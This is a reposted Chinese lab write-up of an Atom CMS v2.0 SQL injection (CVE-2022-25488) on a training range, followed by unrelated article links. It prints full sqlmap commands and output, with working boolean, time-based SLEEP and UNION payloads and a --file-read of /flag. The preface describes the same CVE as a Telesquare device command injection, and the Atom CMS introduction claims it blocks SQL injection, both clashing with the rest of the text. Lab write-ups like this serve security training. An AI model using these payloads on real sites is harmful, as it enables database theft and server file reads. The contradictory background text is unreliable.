Atom CMS v2.0 SQL 注入漏洞（CVE-2022-25488）

前言

CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入漏洞。这一漏洞可以被未经认证的远程攻击者利用，通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该漏洞的详细信息：

漏洞详细信息

  • 漏洞编号: CVE-2022-25488
  • 影响范围: Telesquare SDT-CW3B1 设备的特定版本
  • 描述: 该漏洞是由于输入处理不当造成的，攻击者可以通过在 HTTP 请求中注入恶意命令来利用这一漏洞。这些命令将在设备的操作系统中执行，可能导致设备完全被攻击者控制。
  • 攻击向量: 远程，未经认证的攻击者可以通过网络利用此漏洞。

攻击步骤

  1. 发送恶意 HTTP 请求: 攻击者构造一个特定的 HTTP 请求，包含恶意命令。
  2. 命令注入: 由于设备在处理请求时未正确验证输入，恶意命令被注入并在设备上执行。
  3. 控制设备: 成功利用漏洞后，攻击者可以在设备上执行任意命令，可能导致数据泄露、设备中断或进一步的网络攻击。

影响

  • 机密性: 高。攻击者可以访问和泄露设备上的敏感数据。
  • 完整性: 高。攻击者可以修改或破坏设备上的数据。
  • 可用性: 高。攻击者可以使设备无法正常工作。

缓解措施

  1. 固件更新: 制造商发布补丁或固件更新以修复此漏洞。用户应及时更新设备固件。
  2. 网络安全措施: 在网络边界实施防火墙和入侵检测系统，监控和阻止可疑的网络流量。
  3. 输入验证: 开发人员应确保在处理用户输入时进行严格的验证和过滤，防止命令注入攻击。
  4. 最小权限原则: 设备应配置为仅允许必要的权限，减少被利用的风险。

总结

CVE-2022-25488 是一个严重的命令注入漏洞，攻击者可以通过网络远程利用该漏洞，在受影响的 Telesquare SDT-CW3B1 设备上执行任意命令。用户应尽快采取措施，更新设备固件并实施必要的安全防护措施，以防止潜在的攻击。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。

教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。

竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。

资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Atom CMS v2.0 是一款内容管理系统，用于创建和管理网站内容。以下是关于 Atom CMS v2.0 的详细介绍：

概述

Atom CMS v2.0 是一个开源的内容管理系统，采用 PHP 和 MySQL 构建，旨在提供一个简单易用的平台，用于网站内容的创建、编辑和管理。该系统主要面向小型网站和博客，提供了丰富的功能以满足基本的内容管理需求。

主要功能

  1. 用户管理：

    • 支持用户注册和登录。
    • 角色和权限管理，区分管理员和普通用户。
    • 用户资料编辑和密码管理。

  2. 文章管理：

    • 创建、编辑和删除文章。
    • 支持文章分类和标签。
    • 支持富文本编辑器，便于格式化内容。

  3. 媒体管理：

    • 上传和管理图片、视频等多媒体文件。
    • 支持媒体文件的插入和删除。

  4. 评论系统：

    • 用户可以对文章进行评论。
    • 管理员可以审核和删除不当评论。

  5. SEO 优化：

    • 自定义文章的标题、描述和关键词。
    • 自动生成友好的 URL。

  6. 主题和插件：

    • 支持自定义主题，用户可以根据需要更改网站的外观。
    • 支持插件扩展功能，增加系统的灵活性。

安全特性

  • 输入验证：对用户输入进行严格验证，防止 SQL 注入和跨站脚本攻击（XSS）。
  • 密码加密：用户密码采用加密存储，提高账户安全性。
  • 权限控制：细粒度的权限控制，确保用户只能访问授权的资源。

使用场景

  • 个人博客：适合个人博客的创建和管理，提供基本的文章发布和评论功能。
  • 小型企业网站：适合小型企业展示产品和服务，提供简单的内容管理功能。
  • 教育网站：适合教育机构发布课程信息和新闻公告。

安装和配置

  1. 下载源码：从官方网站或 GitHub 下载最新版本的 Atom CMS v2.0 源码。
  2. 环境配置：确保服务器环境支持 PHP 和 MySQL，推荐使用 Apache 或 Nginx 服务器。
  3. 数据库配置：创建 MySQL 数据库，并导入初始数据表。
  4. 配置文件：修改配置文件，设置数据库连接信息和基本站点信息。
  5. 安装向导：通过浏览器访问安装向导，完成系统安装。

漏洞复现

打开靶场

直接访问则是 404

跟上题目的路径查看却是空白

删除 avatar.php 文件发现能看到整个目录 

查看其他文件得到报错信息

得到一个参数 id，使用 SQLMap 跟上试试

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"_____H_____ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:34:46 /2024-06-30/[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:35:05 /2024-06-30/

很好，接下来就是熟悉的找 flag 了

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"_____H_____ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:39:30 /2024-06-30/[20:39:30] [INFO] resuming back-end DBMS 'mysql' 
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:39:32 /2024-06-30/┌──(root㉿kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/38815.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

沃尔核材：价值重估

沃尔核材：价值重估

当英伟达这个曾经的GPU行业龙头，伴随AI的发展成为AI芯片架构的供应商时，他就跳出了原本行业的竞争格局，曾经还能与之一战的超威半导体被远远甩在身后，成为宇宙第一公司。 这说的就是一家公司价值的重估。今天给大家聊的也是这样一…
阅读更多...
LIMS系统在汽车行业中的应用有哪些优势

LIMS系统在汽车行业中的应用有哪些优势

LIMS实验室管理系统在汽车行业中的应用有诸多优势，这些优势不仅提升了实验室的管理效率，还确保了数据的准确性和可靠性，进而促进了汽车行业的整体发展。 一、提升管理效率 自动化数据处理 LIMS系统能够自动化处理大量数据，显著减…
阅读更多...
Python层次密度聚类算法库之HDBSCAN使用详解

Python层次密度聚类算法库之HDBSCAN使用详解

概要 HDBSCAN 是一种层次密度聚类算法，它通过密度连接性来构建聚类层次结构。与传统的 K-Means 算法相比，HDBSCAN 具有以下几个显著特点： 自动确定聚类数量：HDBSCAN 能够根据数据自动确定聚类数量，不需要预先指定。 适应噪声和异常点：HDBSCAN 在聚类过程中能够很好地处理…
阅读更多...
后端之路(集合项目)——结合案例正式搭建项目

后端之路(集合项目)——结合案例正式搭建项目

在前面学完java后端的Maven、spring boot、Mysql、Mybatis之后，我们现在就应该集合它们开始搭建一个项目试试手了 这里我还是跟着黑马程序员的步骤来走好每一步，也给各位讲清楚怎么弄 先看一下这个图，觉得太笼统不明白的话不着急&#xff0c…
阅读更多...
Java面试题总结

Java面试题总结

Redis篇 什么是缓存穿透 ? 怎么解决 ? 缓存穿透是指查询一个不存在的数据，如果从存储层查不到数据则不写入缓存，这将导致这个不存在的数据每次请求都要到 DB 去查询，可能导致 DB 挂掉。这种情况大概率是遭到了攻击。 解决方案有两种&…
阅读更多...
Arthas实战（2）- OOM问题排查

Arthas实战（2）- OOM问题排查

一、 准备测试应用 新建一个 SpringBoot应用&#xff0c;写一段有 OOM bug 的代码&#xff1a; RestController RequestMapping public class JvmThreadController {List<TestWrapper> memoryList new ArrayList<>();GetMapping("/test")public Strin…
阅读更多...
mov文件怎么转换成mp4格式？这四种转换方法超级好用！

mov文件怎么转换成mp4格式？这四种转换方法超级好用！

mov文件怎么转换成mp4格式&#xff1f;在数字娱乐的世界中&#xff0c;你是否曾遇到过MOV格式的视频&#xff1f;也许&#xff0c;对于许多人来说&#xff0c;这并不是一个常见的格式&#xff0c;但这并非偶然&#xff0c;首先&#xff0c;我们来谈谈MOV的兼容性问题&#xff0…
阅读更多...
使用python做飞机大战

使用python做飞机大战

代码地址: 点击跳转
阅读更多...
不看测评盲买花了多少冤枉钱..测评希喂、爱立方、帕特看完不踩雷

不看测评盲买花了多少冤枉钱..测评希喂、爱立方、帕特看完不踩雷

主食冻在挑选主食冻干时&#xff0c;许多宠物主人都会感到头疼。尽管主食冻干相较于普通猫粮具有诸多优势&#xff0c;但其价格也相对高昂。这导致许多宠物主人担心高价购买的主食冻干可能营养价值并不理想。然而&#xff0c;在选择时&#xff0c;我们还需要考虑其他重要因素&a…
阅读更多...
“穿越时空的机械奇观：记里鼓车的历史与科技探秘“

“穿越时空的机械奇观：记里鼓车的历史与科技探秘“

在人类文明的发展历程中&#xff0c;科技的创新与进步不仅仅推动了社会的进步&#xff0c;也为我们留下了丰富的文化遗产。记里鼓车&#xff0c;作为一种古老的里程计量工具&#xff0c;其历史地位和技术成就在科技史上具有重要的意义。本文将详细介绍记里鼓车的起源、结构原理…
阅读更多...
0基础学C++ | 第10天 | 基础知识 |程序的内存模型 | 4大分区

0基础学C++ | 第10天 | 基础知识 |程序的内存模型 | 4大分区

前言 第9天是一个通讯录管理系统案例&#xff0c;现在了解程序的内存分区&#xff0c;C程序在执行时&#xff0c;将内存大方向分为了4个区域&#xff0c;分别是代码区、全局区、栈区、堆区&#xff0c;分区的目的就是为了更加灵活的编程。 代码区 and 全局区&#xff08;程序…
阅读更多...
Echarts柱状图x轴刻度间隔显示不全/x轴文字倾斜

Echarts柱状图x轴刻度间隔显示不全/x轴文字倾斜

此情况一般是因为x轴文字过长导致&#xff0c;知道什么原因&#xff0c;就可以解决了 在xAxis里面加 xAxis: {axisLabel: {interval: 0,rotate: -45 //文字过多时&#xff0c;倾斜角度}} 控制它的属性是axisLabel&#xff0c;该属性interva设置成0则表示强制显示所有标签&a…
阅读更多...
这所985院校不保护一志愿，18人不合格被刷！西北农林科技大学计算机考研考情分析！

这所985院校不保护一志愿，18人不合格被刷！西北农林科技大学计算机考研考情分析！

西北农林科技大学(Northwest A&F University)&#xff0c;简称“西农”或“西北农林”&#xff0c;始创于1934年&#xff0c;位于中华人民共和国陕西省杨凌示范区。1999年9月11日由同处杨凌的原西北农业大学、西北林学院、中国科学院水利部水土保持研究所、水利部西北水利科…
阅读更多...
外籍学员报到，四川眼科医院开启国际屈光手术专科医生培训

外籍学员报到，四川眼科医院开启国际屈光手术专科医生培训

“能够来到中国、来到四川眼科医院学习&#xff0c;我真的很幸运&#xff01;”这个夏天&#xff0c;对于马来西亚眼科医生Ivan Cheng En Yoo来说&#xff0c;充满了期待和挑战。他是首位来到四川眼科医院进修学习的马来西亚籍医生&#xff0c;Ivan Cheng将在周进院长的带领下&…
阅读更多...
Android Gradle 开发与应用 (三): 依赖管理与版本控制

Android Gradle 开发与应用 (三): 依赖管理与版本控制

目录 1. 依赖管理的重要性 1.1 依赖的类型 1.2 Gradle 中的依赖声明 2. 版本控制的策略 2.1 固定版本与动态版本 2.2 版本冲突的解决 3. Gradle 插件的使用 3.1 常用的 Gradle 插件 3.2 自定义插件 4. 多模块项目中的依赖管理 4.1 模块间依赖 4.2 公共依赖 5. 依赖…
阅读更多...
用“文心一言”写的文章，看看AI写得怎么样？

用“文心一言”写的文章，看看AI写得怎么样？

​零售连锁店的“支付结算”业务设计 在数字化浪潮的推动下&#xff0c;连锁店零售支付结算的设计愈发重要。一个优秀的支付结算设计不仅能够提升用户体验&#xff0c;还能增强品牌竞争力&#xff0c;进而促进销售增长。 本文将围绕一个具体的连锁店零售支付结算案例&#xf…
阅读更多...
数据结构第06节：栈

数据结构第06节：栈

栈&#xff08;Stack&#xff09;是一种后进先出&#xff08;Last In First Out, LIFO&#xff09;的数据结构&#xff0c;它只允许在一端&#xff0c;称为栈顶&#xff08;Top&#xff09;&#xff0c;进行添加&#xff08;Push&#xff09;和移除&#xff08;Pop&#xff09;…
阅读更多...
MySql Innodb 索引有哪些与详解

MySql Innodb 索引有哪些与详解

概述 对于MYSQL的INNODB存储引擎的索引&#xff0c;大家是不陌生的&#xff0c;都能想到是 B树结构&#xff0c;可以加速SQL查询。但对于B树索引&#xff0c;它到底“长”得什么样子&#xff0c;它具体如何由一个个字节构成的&#xff0c;这些的基础知识鲜有人深究。本篇文章从…
阅读更多...
【Spring Boot】JPA 的查询方式

【Spring Boot】JPA 的查询方式

JPA 的查询方式 1.使用约定方法名2.用 JPQL 进行查询3.用原生 SQL 进行查询3.1 根据 ID 查询用户3.2 查询所有用户3.3 根据 email 查询用户3.4 根据 name 查询用户&#xff0c;并返回分页对象 Page3.5 根据名字来修改 email 的值3.6 使用事务 4.用 Specifications 进行查询5.用…
阅读更多...
Mac视频下载工具，兼容14系统，Downie 4软件下载

Mac视频下载工具，兼容14系统，Downie 4软件下载

Downie 4 是一款由James Application开发的视频下载软件&#xff0c;支持Mac操作系统。该软件允许用户从各种视频网站上下载视频内容&#xff0c;以便于在本地设备上观看&#xff0c;无需依赖互联网连接。自动下载&#xff1a;可以设置Downie 4自动下载指定网站上的视频&#x…
阅读更多...
最新文章

Copyright @ 2022~2023